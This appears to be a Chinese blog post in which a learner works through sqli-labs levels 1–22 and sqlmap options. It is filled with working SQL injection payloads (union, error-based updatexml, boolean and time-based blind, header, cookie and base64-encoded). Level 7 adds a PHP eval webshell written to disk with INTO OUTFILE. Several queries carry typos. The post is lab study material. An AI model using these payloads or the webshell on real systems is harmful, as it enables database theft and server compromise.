我的SQL注入学习:

一)环境:sqli-labs 和sqlmap-gtk 

前期了解数据库的知识:

show databases;    查看有多少个数据库名称

use XXX;                打开XXX数据库

show tables;           查看数据库里的表

select * from XXX; 查看table中XXX的内容 

1)where语法的使用:

select * from username where id=1;
#查询username表中id=1的数据。
select * from username where id>1;
#查询username表中id大于1的数据。
select * from username where id BETWEEN 3 AND 4;
#查询在username表中id在3-4中的数据。(between为范围函数)

2)like语法以及order by语法:

select * from username where password  like 'pass%'
#查询username表中password中数据像pass的全部数据。如果这没有%就只查询像pass的数据,不会查到pass2或者pass3这些。

select * from username where username  like 'a_min%'
#_相当于占位符,无论_是什么只有符合a_min就查询。

select * from username order by 3
#查询username中一共有多少列。
select * from username order by 3 desc
#desc为倒序。
select * from username order by 3 desc limit 3
#只显示3行

3)concat函数以及其他函数:

(concat函数为连接函数,一般用于连接如下,显示的结果就为SQLasddasdasda)

select CONCAT('SQLa','sd','dasdasda')a
#将SQLa;sd;dasdasda拼接起来并重命名为a。

(在上面的例子中,a的前面已经省略as ,as是一个重命名函数)

其他函数:updexml函数,null函数(即空),max,min,avg,sum等

select max(id) from username ;
#查询id中最大是多少。

select mix(id) from username;
#与上同理,查询id中最小是多少。


select sum(id) from username ;
select avg(id) from username;
select count(id) from username;
#count表示查有多少个id。

4)esits函数:查询数据库中是否存在的函数,可利益ascii进行创新性查询

5)union函数:合并函数,与concat差不多。

6)group by函数:分组函数,相同的数据就为一组显示。

7)JOIN函数:

SELECT * FROM username inner JOIN username2
#查看username和username2的数据。
or
SELECT * FROM username inner JOIN username2 ON username.id=username2.id
#查询username与username2中id的交集(共有的)。
or
SELECT * FROM username LEFT JOIN username2 ON username.id=username2.id
#查询username和username2,但是左边显示全部数据,右边只显示id相同的数据,即交集。
or
SELECT * FROM username RIGHT JOIN username2 ON username.id=username2.id
#查询username和username2,但是左边显示相同数据,右边显示相同的数据。(与上面相反)

8)数据库基本操作:create创建数据库,drop删除数据库,backup备份数据库。

9)正则表达式的使用:正则表达式手册

10)Bypass的绕过(安全狗的规则等):此处后期需要加强、

先看它有什么规则--->了解它的规则,并判断有无faliteris------>有就看它的faiteris利用faliteris进行绕过尝试。------->无则直接利用规则绕过。

二)sqlmap(与burspuite的一些知识相同)
--method    指定一个默认的请求方式
示例:
--method=post     #指定用pots方式发送请求。
--date    修改默认的请求方式为post
--param-del   定义一个分隔符,用于分割参数。
示例:
python sqlmap.py -u "https://......" --data“id=1&pass=123”--param-del="&"
#上面的后面就说明用&来分割id与pass这个两个参数。
--cookie    指定cookie值,使用方法与methond基本相同
--cookie-del  与上面的基本一致,也是用与分割。
--user -agent   显示客户端是用什么浏览器范围的。
--random-agent   随机使用sqlmap中的user-agent。
--load-cookies=    从文件夹中读取cookie值。
--drop-set-cookie 忽略响应包的set-cookie头.
--auth-type=     指定http认证类型
--auth-file=        指定一个私钥文件来认证
--ignore=401   忽略返回的401请求
--delay=            设置一个请求的时间间隔
--timeout=       设置超过时间,默认情况为30s
--retries=         设置重试的次数,默认为3次
--randomize=    随机地更改参数的值
示例:
sqlmap -u “https://....id=1” --randomize=id
--sqfe-url=   有的web应用程序会在你多次访问错误的url后会屏蔽掉你以后所有的请求,因此需要加上这个函数,每隔一段时间就会访问一下这个函数后面的地址。
与此还有--safe-post=      --safe-freq=   等

2)设置参数方面

-p   设置一个注入点 如:-p “id” #设置id为注入点

--dbms=        指定后端数据库类型

optimzation优化

-o  开启所有优化选项

--predict-output

--hull-connection

其他

-batch     遇到选项时选择默认选项

-x    排除.....参数

-sql-query=        在sqlmap中执行sql语句

--common-table     爆破列表

--common-columns    爆破

--os系列(操作系统的访问,一般需要权限)

--os shell

--os pwn

--os smbrelay

--os bof

三)sqlmap-gtk的安装。

SQLi-Labs的安装:

web渗透-sqli-labs-master 下载与安装 - 走看看

建议使用MySQL5.7以下。

三)开始学习之旅。

1)前期需要了解:

--technique=E 是报错查询

--tchnique=U  是union查询   T是时间盲注。

#使用软件时如果遇到拒绝访问的情况可采取以下方法:

进入root模式,找到sqlmap文件

然后进入,之后输入ls

之后输入rm -rf sqlmap 进行删除

然后git clone https://github.com/sqlmapproject/sqlmap

下载好后输入sqlmap查看。完成。

具体可参考kali自带的sqlmap更新_XTJ469的博客-CSDN博客_sqlmap更新

2)启动sqlmap软件

打开sqllib中的第一题

用sqlmap扫一遍(可以在Technique中选择报错,布尔,时间,等注入方式查询)

然后我们发现

id存在注入点并且是一个3列的联合查询。因此我们使用联合查询语句。

之后我们就可以利用已学的知识去解sqlmap的题。

查看当前数据库的名字

然后我们需要了解的知识:

group_concat           用于连接所有非重复的信息。(仅限没有行列限制的地方使用)

updatexml                用于报错注入,下面有具体解释。

concat                     用于连接

database()               查询当前数据库名称

table_name            在information数据库中table_name的表头

information_schema.table     在information_schema.table这个表中查

column_name与information_schema.columns同理,通常数据库都具备这两个表.

table_name from information_schema.tables  查看information_schema.tables下table_name的表名。

column_name from information_schema.columns where table_schema=指定数据库的名称

或者

column_name from information_schema.columns where table_name=指定表的名称

字段名 from 库名.表名                    获取信息

limit                                              限制函数(运用于限制行列时)

L-1

本题如下:输...select 1,2,group_concat(table_name) from information_schema.tables--+

输入:column_name from information_schema.columns where table_name=“user”--+

 然后一个一个找想要的

最后输入 字段名 from 库名.表名   即可

也可以用软件获取table和表名。略。

L-2

 

因此判断它是一个限制字符的漏洞因此直接执行就可以,流程与上面基本一样。

L-3

L-4

因此就按照这个格式去注入即可,与上面基本一致,一样的数据库,一样的表。 

 因此就按照这个格式去注入即可,与上面基本一致,一样的数据库,一样的表。 

2)L=5-1

 找到了注入点但是发现这题没办法用联合注入,因为无论我们id=x都只显示一串字符串。

可以判断有3列。

 然后我上软件扫了一下,发现可以进行布尔注入和盲注。

输入:?id=1' and left((select database()),1)='s'--+  回显正常 

因为一个一个测试工作量大,因此我使用了bups进行爆破   

当爆破到第9个时

 即爆破完成为了以防万一可多爆破几个,最后数据库为:security

判断表名输入:?id=1%27 and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>1--+

判断列名输入:?id=1%27 and ascii(substr((column_name from information_schema.columns where table_name='users' limit 1,1),1,1))--+

判断数据最后?id=1%27 and ascii(substr((select username from security.users limit 1,1),1,1))--+

L-5-2

方法2:运用报错方法,更加简单有效。

首先要了解的知识点:

updatexml:报错信息返回

concat:连接语句

0x7e: ~字符

输入:updatexml(1,concat(0x7e,(select datadbase()),0x7e),1)--+

 得到数据库:security

select table_name from information_schema.tables where table_schema='security' limit 1,1

把红色部分改为2.

又一个表名。

然后再判断列。

select column_name from information_schema.columns where table_name='users' limit 1,1

经过判断有username,password等列

最后: select username from security.users  limit 1,1

L-6

双引号报错。 

于是我们用我们L-5中报错注入。

?id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+      # 得到security数据库名。

?id=1" and updatexml(1,concat(0x7e,(select table_name from information_schema.tables limit 1,1),0x7e),1)--+                                          # 得到news,users。

?id=1" and updatexml(1,concat(0x7e,(select column_name from information_schema.columns limit 1,1),0x7e),1)--+                                   # 得到id,title,content,time等

?id=1" and updatexml(1,concat(0x7e,(select id from security.users limit 1,1),0x7e),1)--+   

L-7 

首先还是判断注入点

单引号注入。

这样子就能使其闭合。

要使用outfile, outfile是文件注入函数。

先判断有多少

发现只有3列 

于是我们写马,输入:.....union select 1,"<? php eval($_REQUEST[1]?>)",3 into outfile "木马文件植入目录地方"(需要知道当前目录是什么)

L-8

首先也是测试注入点。

单引号注入,并且没有报错提醒,所以不能使用报错注入了

然后又发现是这样的界面,因此我们只能使用盲注了。 

?id=1%27%20and%20length(database())>8--+

0and%20length(database())=8--+  推测等于8,测试成功。

?id=1%27%20and%20(ascii(substr(database(),1,1)))>100--+ 判断数据库第一个的ascii码是否大于100.

?id=1%27%20and%20(ascii(substr(database(),1,1)))=115--+  发现第一个的100<ascii<115

 其他位置也一样,只改变红色部分,判断出数据库的名称:security

判断表名:emnils,uagents,users

id=1%27%20and%20length((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1))>8--+   判断长度。结果为6.

id=1%27%20and%20(ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),1,1)))=101--+  判断表名是否等于101,基本与上面一致。后面的红色代表同一个表不同位置的字符。

判断字段名:id

id=1%27%20and%20length((select%20column_name%20from%20information_schema.columns%20where%20table_name='users'%20limit%203,1))=2--+   判断到等于4.

id=1%27%20and%20(ascii(substr((select%20column_name%20from%20information_schema.columns%20where%20table_name='users'%20limit%203,1),1,1)))=105--+ 

最后:

?id=1%27 and ascii(substr((select id from security.users limit 1,1),1,1))--+

L-9

经过尝试无论如何始终显示同一个界面。因此我们只能选择时间盲注。

时间盲注前置知识点:

1.sleep(n)                 规定将程序挂起加载n秒后才完成加载

2.if(e1,e2,e3)        判断语句,和c或者python的if相似。

(2.1) if(A,B,sleep(5))    意思是如果A成立则执行B,不成立则执行sleep(5).

3.布尔盲注知识。(步骤可参考L-8)

?id=1%27%20and%20if(1=2,1,sleep(5))--+   输入这个时页面会延迟5秒因此可以判定他是'注入.

后面基本与布尔盲注差不多。

============== 

?id=1%27%20and%20if(length(database())=8,sleep(5),1)--+    #判断databse()是否为8位。              

?id=1%27%20and%20if((ascii(substr(database(),1,1))=115),sleep(5),1)--+  #判断为115

?id=1%27%20and%20if((ascii(substr(database(),2,1))=101),sleep(5),1)--+  #判断为101

?id=1%27%20and%20if((ascii(substr(database(),3,1))=99),sleep(5),1)--+

?id=1%27%20and%20if((ascii(substr(database(),4,1))=117),sleep(5),1)--+

?id=1%27%20and%20if((ascii(substr(database(),5,1))=114),sleep(5),1)--+

?id=1%27%20and%20if((ascii(substr(database(),6,1))=105),sleep(5),1)--+

?id=1%27%20and%20if((ascii(substr(database(),7,1))=116),sleep(5),1)--+

?id=1%27%20and%20if((ascii(substr(database(),8,1))=121),sleep(5),1)--+

所以数据库的名称为:security

?id=1%27%20and%20if((length((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%203,1))=5),sleep(5),1)--+    #判断长度等于5

?id=1%27%20and%20if((ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%203,1),1,1)))=117,sleep(5),1)--+  #等于117

?id=1%27%20and%20if((ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%203,1),2,1)))=115,sleep(5),1)--+ 

?id=1%27%20and%20if((ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%203,1),3,1)))=101,sleep(5),1)--+ 

?id=1%27%20and%20if((ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%203,1),4,1)))=114,sleep(5),1)--+ 

?id=1%27%20and%20if((ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%203,1),5,1)))=115,sleep(5),1)--+ 

因此表名为:users

?id=1%27%20and%20if((length((select%20column_name%20from%20information_schema.columns%20where%20table_name='users'%20limit%203,1))=2),sleep(5),1)--+  #可以知道users表第3列长度为2.

?id=1%27%20and%20if((ascii(substr((select%20column_name%20from%20information_schema.columns%20where%20table_name='users'%20limit%203,1),1,1)))=105,sleep(5),1)--+  #等于105

?id=1%27%20and%20if((ascii(substr((select%20column_name%20from%20information_schema.columns%20where%20table_name='users'%20limit%203,1),2,1)))=100,sleep(5),1)--+  

因此users中第3列的名称为:id

L-10

检测到是双引号会报错,并且无法回显,按照老方法尝试。 

?id=1"%20and%20if(length(database())=8,sleep(5),1)--+     #等于8

?id=1"%20and%20if((ascii(substr(database(),1,1))=115),sleep(5),1)--+

?id=1"%20and%20if((ascii(substr(database(),2,1))=101),sleep(5),1)--+

?id=1"%20and%20if((ascii(substr(database(),3,1))=99),sleep(5),1)--+

?id=1"%20and%20if((ascii(substr(database(),4,1))=117),sleep(5),1)--+

?id=1"%20and%20if((ascii(substr(database(),5,1))=114),sleep(5),1)--+

?id=1"%20and%20if((ascii(substr(database(),6,1))=105),sleep(5),1)--+

?id=1"%20and%20if((ascii(substr(database(),7,1))=116),sleep(5),1)--+

?id=1"%20and%20if((ascii(substr(database(),8,1))=121),sleep(5),1)--+

因此数据库名字为:security

下面步骤与L-9基本一致,略。

L-11

这题发现与上面的不一样有一个登录窗口,于是习惯性的尝试了一下随便输入一下。发现他会返回我们输入的账号密码,然后发现这个是SQL练习,就断定是POST注入了。

前置知识:

1.and和or的区别:and两者都为正,则为正,or两者其一为正,则为正。

2.联合注入知识/盲注/报错注入知识。

================

' or 1=1 --+    #测试是否可行

如果像这样则需要注释掉password。‘--+

然后我们利用联合查询,先查他有几行。

' or 1=1 order by 2 -- +

发现有两行,于是.

'union select 1,2 -- +

'union select 1,database() -- +       #security

'union select 1,table_name from information_schema.tables where table_schema='security' -- +

得到一个表:emails

'union select 1,column_name from information_schema.columns where table_name='emails' -- +

得到一个列:id

最后判断: 

'union select 1,id from emails-- +

¥这题会有一个很有意思的现象:你像以往一样输入:'union select 1,2 --+,他会报错

这个是因为他要空一个格出来才能注释掉paswwrod,这个对于我们新人来说很脑瓜疼,一开始我是想也把他注释掉,然后发现如果把paswword注释掉他会导致一些数据显示不出来,也无法判断行,而且解决这个问题网上很难找到解决的方法,于是现特别列出来,给大家参考参考。

L-12

")or 1=1 -- +

")or 1=1 order by 3 -- +        #报错因此只有两列。

")union select 1,2 -- +

")union select 1,database() -- +      #得到:security.

")union select 1,table_name from information_schema.tables where table_schema='security' -- +

#得到:emails。

")union select 1,column_name from information_schema.columns where table_name='emails' -- +    #得到:id。

L-13

')or if(1=1 ,1,sleep(5)) -- +    #可以知道是单引号加括号闭合。

')or 1=1 order by 3 -- +      

我们找到注入点后,发现他正确不会显示但是错误会报错,于是我们选择用报错来玩。

')or updatexml(1,concat(0x7e,(select database()),0x7e),1) -- +   #得到security

')or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1) -- +     #得到emails,referers......

')or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='emails' limit 0,1),0x7e),1) -- +         #得到:id,email_id........、

L-14

与L-13基本一样但是本题是双引号注入。

”or 1=1 order by 3 -- +   

略。

L-15

'or if(1=1,1,sleep(3)) -- +

'or if(length(database())=8,1,sleep(3)) -- +

'or if((ascii(substr(database(),1,1))=115),1,sleep(3)) -- +

'or if((ascii(substr(database(),2,1))=101),1,sleep(3)) -- +

'or if((ascii(substr(database(),3,1))=99),1,sleep(3)) -- +

略。

L-16

")or 1=1 -- +             #发现是”)注入点,然后根据题目提示这题是可以使用时间盲注的。

同理(以下皆为时间盲注)

")or if(1=1 ,1,sleep(5)) -- +

")or if(length(database())=8,1,sleep(3)) -- +    #如果database数据库的长度不等于8则返回3s。

")or if((ascii(substr(database(),1,1))>100),1,sleep(3)) -- +  #先进行判断取值范围

")or if((ascii(substr(database(),1,1))=115),1,sleep(3)) -- + #之后得出第一个值。

")or if((ascii(substr(database(),2,1))>100),1,sleep(3)) -- +  #以此类推

")or if((ascii(substr(database(),2,1))=101),1,sleep(3)) -- + #得到第二值

")or if((ascii(substr(database(),3,1))=99),1,sleep(3)) -- +  #得第三个值

")or if((ascii(substr(database(),4,1))=117),1,sleep(3)) -- + #得第四个值

")or if((ascii(substr(database(),5,1))=114),1,sleep(3)) -- + #得第五个值       

")or if((ascii(substr(database(),6,1))=105),1,sleep(3)) -- + #得第六个值

")or if((ascii(substr(database(),7,1))=116),1,sleep(3)) -- + #得第七个值

")or if((ascii(substr(database(),8,1))=121),1,sleep(3)) -- + #得第八个值

得到一个数据库名称:security

之后 判断表名:

")or if((length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6),1,sleep(3)) -- +  #这里要非常注意他们的括号

")or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>100,1,sleep(3)) -- +  #这里要非常注意他们的括号

")or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101,1,sleep(3)) -- +

")or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1)))=109,1,sleep(3)) -- +

")or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1)))=97,1,sleep(3)) -- +

")or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),4,1)))=105,1,sleep(3)) -- +

")or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),5,1)))=108,1,sleep(3)) -- +

")or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),6,1)))=115,1,sleep(3)) -- +

得到:emails

")or if((length((select column_name from information_schema.columns where table_name='emails' limit 0,1))>1),1,sleep(3)) -- +  #先判断

")or if((length((select column_name from information_schema.columns where table_name='emails' limit 0,1))=2),1,sleep(3)) -- +

")or if((ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1)))=105),1,sleep(3)) -- +

")or if((ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),2,1)))=100),1,sleep(3)) -- +

得:id

and和or的使用场景:、

一般and用与GET,而or一般用于POST,因为POST通常是有用户名和密码,在观察原代码时我们可以发现,当我们使用and时我们的用户名已经闭合,导致后面我们的sql语句无法执行,因此and是行不通的。

L-17

1.根据题目可以判断他是密码重置,并在我的尝试下发现,只有当name和password同时有数据时才会显示成功.

2.由于根据提示可以看出这题会有错误和成功两种结果,那么我们是否就可以利用报错注入,而不用盲注?

3.这题一开始无法判断是什么注入,于是我就小小的尝试。

直接忽略判定直接用报错注入。

先给个单引号:

'or updatexml(1,concat(0x7e,(select database()),0x7e),1) -- +

发现还真的可以。那么我们测试一下双引号

"or updatexml(1,concat(0x7e,(select database()),0x7e),1) -- +

发现

因此可以断定这题是一个单引号闭合。

然后根据流程解得。

'or updatexml(1,concat(0x7e,(select database()),0x7e),1) -- +    

得数据库:security

'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1) -- + 

得:emails,referers

'or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='emails' limit 0,1),0x7e),1) -- + 

得:id

得数据:

'or updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1) -- + 

L-18

这题一进去就发现一个ip,一看就不像以往的题目一样。我第一时间想到的是可不可以修改ip,但是发现修改ip好像没有什么用,然后想可不可以利用抓包在ip处注入。然后看攻略后发现我想错了,根据代码库里分析可以知道,可以在抓包的浏览器处(User-Agent)进行注入sql语句,当然我的猜想是在ip处应该也是可以的。、


¥特别注意:

1.在抓包软件中本地地址需要用主机的ip地址访问,如果用127.0.0.1是抓取不到的。

2.因为17题我们已经把admin的密码给改了,所以想要登录成功就必须用17题修改后的密码,否则无法正常登录,也就无法看出线索。

网上说回到首页按这个可以重置密码,但我试了,没用。


分析发现登录成功后会多一行 User Agent,了解过php的都知道这个是 浏览器的信息。

 于是我们就可以在这里尝试注入看看。

当我们在 User Agent前面加了’时会多出一行报错,因此我们可以断定这是一个单引号注入。

'and updatexml(1,concat(0x7e,(select database()),0x7e),1),1,1)-- +    

得数据库:security

这里关于为什么后面还要加1,1呢?

这个是由原代码决定的,它有3个参数,因此我们在后面要补回去我们已经注释了的参数。

1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security'limit 0,1),0x7e),1),1,1)-- +

得到表名:emails

1' and updatexml(1,concat(0x7e,(select coloumn_name from information_schema.columns where table_name='emails'limit 0,1),0x7e),1),1,1)-- +

得到列名:id

1'and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1),1,1)-- +

查数据

L-19

尝试寻找注入点,发现也是单引号注入。

1' and updatexml(1,concat(0x7e,(select database()),0x7e),1),1)-- +

得数据库:security

¥这题与上题唯一不同的是,这题的源代码中参数是只有2个,并且是referer处的注入。

1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security'limit 0,1),0x7e),1),1)-- +

得到一个表:emails

1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='emails'limit 0,1),0x7e),1),1)-- +

得到一个列:id

L-20

这题是cookie注入:注入点为',但是经过尝试这个注入必须要保持原来的cookie值否则会出现错误。

' and updatexml(1,concat(0x7e,(select database()),0x7e),1)-- +

得数据库:security

' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security'limit 0,1),0x7e),1)-- +

得表:emails

and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='emails'limit 0,1),0x7e),1)-- +

得列:id

L-21

这题有点变态,但它让我解锁了新的解题思路,加密的思路。

先测试:admin') and 1=1 -- +

admin 'and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1

经过base64后。

YWRtaW4gJ2FuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGRhdGFiYXNlKCkpLDB4N2UpLDEpIGFuZCAnMSc9JzE=

得数据库:security

admin 'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security'limit 0,1),0x7e),1) and '1'='1

------------------------------------------------

然后如果像这个样子去base64翻译我发现,爆不出来,于是我上网找了一些其他方法。

------------------------------------------------

admin ')and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security'limit 0,1),0x7e),1) #

这样去构造sql语句,然后继续base64编码发现,成功爆出来了。

YWRtaW4gJylhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCB0YWJsZV9uYW1lIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9J3NlY3VyaXR5JyBsaW1pdCAwLDEpLDB4N2UpLDEpIw==

得到:emails

admin ')and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='emails'limit 0,1),0x7e),1)-- +

得:id

总结:这题是一个经过base64加密cooke的解法,在本题中我们使用到了常见的注入点‘),然后其他解法都基本与之前相似。

L-22

注意此题所有的东西都需要继续base64加密。

admin" and 1=1 -- +

admin "and updatexml(1,concat(0x7e,(select database()),0x7e),1)-- +

得:security

admin" and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security'limit 0,1),0x7e),1)-- +

得:emails

略。这题为双引号注入,与21题基本相似。

L-23往后的题目在下一篇。

大总结:1-22题中我们认识到了三种注入方法

一:联合注入

二:报错注入

三:盲注

以及常见的注入点:单引号(‘)、双引号(“)、单引号加括号(’))、双引号加括号(”))。

同时我们还认识到GET、POST、base64加密传参。

以及基本查询语句,如:

select databse()

select table_name from information_schema.tables where table_schema='xx'limit 0,1

select column_name from information_schema.columns where table_name='xx'limit 0,1

盲注语句

报错语句

联合注入语句

等等

  

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值